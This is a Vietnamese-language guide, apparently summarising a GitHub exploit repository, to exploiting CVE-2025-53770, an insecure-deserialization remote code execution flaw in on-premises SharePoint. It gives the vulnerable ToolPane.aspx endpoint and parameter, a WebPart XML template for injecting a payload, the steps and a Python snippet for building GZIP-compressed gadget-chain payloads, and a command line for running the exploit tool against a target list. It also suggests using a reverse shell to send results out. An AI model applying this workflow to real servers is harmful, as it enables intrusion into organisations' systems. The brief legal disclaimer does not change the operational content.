Tổng quan về CVE-2025-53770
CVE-2025-53770 là một lỗ hổng bảo mật nghiêm trọng được phát hiện trên Microsoft SharePoint (on-premises). Lỗ hổng này cho phép kẻ tấn công có quyền truy cập đăng nhập (authenticated user) khai thác một endpoint đặc biệt là /layouts/15/ToolPane.aspx. Thông qua endpoint này, kẻ tấn công có thể bơm (inject) những WebPart chứa dữ liệu .NET được nén và tuần tự hóa dạng GZIP (GZIP-compressed serialized .NET object), dẫn tới thực thi mã lệnh từ xa (Remote Code Execution – RCE).
Cơ chế hoạt động của lỗ hổng
Lỗ hổng bắt nguồn từ cách SharePoint xử lý thuộc tính CompressedDataTable bên trong WebPart <Scorecard:ExcelDataSet>. Khi nhận dữ liệu gửi tới từ tham số MSOTlPn_DWP trên endpoint ToolPane.aspx, SharePoint sẽ tự động giải nén (inflate) và deserialization dữ liệu này bằng các formatter không an toàn như BinaryFormatter hoặc LosFormatter. Nếu trong dữ liệu này có một chuỗi gadget (gadget chain) hợp lệ, mã lệnh tùy ý sẽ được thực thi trên hệ thống máy chủ SharePoint.
Quy trình khai thác
- Kẻ tấn công đã đăng nhập gửi một request POST đến:
/_layouts/15/ToolPane.aspx?DisplayMode=Edit
- Tham số
MSOTlPn_DWPchứa WebPart XML, bên trong có:- Thành phần
<Scorecard:ExcelDataSet CompressedDataTable="..." /> - Giá trị của thuộc tính
CompressedDataTablelà một payload đã nén GZIP, mã hóa Base64, chứa đối tượng .NET serialized (gadget chain).
- Thành phần
- SharePoint tự động thực hiện giải nén và deserialization đối tượng này.
- Nếu đối tượng này là một gadget chain hợp lệ (ví dụ sử dụng kiểu
ObjectDataProvider), lệnh tùy ý sẽ được thực thi (RCE).
Phân tích cấu trúc payload
Để thành công khai thác, attacker cần:
- Tạo ra đối tượng .NET (ví dụ
DataSet,ObjectDataProvider, v.v.) - Tuần tự hóa object bằng
LosFormatterhoặcBinaryFormatter - Mã hóa Base64
- Nén bằng GZIP
- Nhúng chuỗi payload vào trong WebPart XML như bên dưới
<asp:UpdateProgress ID="UpdateProgress1" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="{PAYLOAD}" DataTable-CaseSensitive="false" runat="server" />
</div>
</ProgressTemplate>
</asp:UpdateProgress>
Các thành phần, endpoint, tham số và control liên quan
| Field | Value |
|---|---|
| Component | Microsoft SharePoint (on-premises) |
| Endpoint | /layouts/15/ToolPane.aspx |
| Parameter | MSOTlPn_DWP |
| Injected Control | <Scorecard:ExcelDataSet CompressedDataTable="..."> |
| Vulnerability | Insecure deserialization (BinaryFormatter, LosFormatter, …) |
| CVE | CVE-2025-53770 |
Điều kiện \& môi trường khai thác
- Yêu cầu: Authenticated account trên hệ thống SharePoint.
- Hệ thống chịu ảnh hưởng: SharePoint bản on-premises chưa vá lỗ hổng này.
- Tool khai thác: Công cụ Python sử dụng theo hướng dẫn với các tham số như target, file payload, proxy…
Ví dụ lệnh sử dụng:
python3 exploit.py -t targets.txt --file payload.txt --proxy http://127.0.0.1:8080
-thoặc--targets: Danh sách URL SharePoint mục tiêu--file: File payload đã chuẩn hóa đúng cấu trúc--proxy: Tuỳ chọn, phục vụ debug/bypass thông qua proxy như Burp/ZAP
Điểm đặc biệt về output
- Vấn đề phản hồi: Lỗ hổng này không trả về trực tiếp kết quả thực thi lệnh trên HTTP response.
- Nếu muốn lấy output, nên sử dụng reverse shell hoặc chuyển hướng kết quả thông qua lệnh PowerShell ví dụ
Invoke-WebRequest.
- Nếu muốn lấy output, nên sử dụng reverse shell hoặc chuyển hướng kết quả thông qua lệnh PowerShell ví dụ
Gadget chain tương thích
Một số chuỗi gadget chain có thể sử dụng để khai thác:
System.Data.DataSetSystem.Data.Services.Internal.ExpandedWrapperSystem.Web.UI.LosFormatterSystem.Windows.Data.ObjectDataProvider
Hướng dẫn tạo payload đúng chuẩn
- Serialize object bằng công cụ phù hợp (ví dụ custom ysoserial .NET)
- Mã hóa Base64
- Compress GZIP
- Ví dụ Python:
import gzip, base64
with open("payload.b64", "rb") as f:
decoded = base64.b64decode(f.read())
compressed = gzip.compress(decoded)
print(base64.b64encode(compressed).decode())
- Chèn vào biến
{PAYLOAD}và lưu vào filepayload.txtsử dụng cho tool exploit.
Khuyến nghị sử dụng \& cảnh báo pháp lý
- Công cụ, mã PoC chỉ phục vụ cho mục đích học tập và kiểm thử bảo mật được phép.
- Không sử dụng công cụ vào hệ thống không thuộc quyền quản lý/yêu cầu.
Tổng kết
Lỗ hổng CVE-2025-53770 là minh chứng rõ nét cho rủi ro bảo mật của deserialization không an toàn trên các nền tảng lớn như SharePoint. Việc kiểm tra, cập nhật và giám sát hệ thống luôn là yếu tố then chốt nhằm tránh trở thành nạn nhân của các cuộc tấn công thực thi mã từ xa.
Source link: GitHub – soltanali0/CVE-2025-53770-Exploit
[^1]: https://github.com/soltanali0/CVE-2025-53770-Exploit






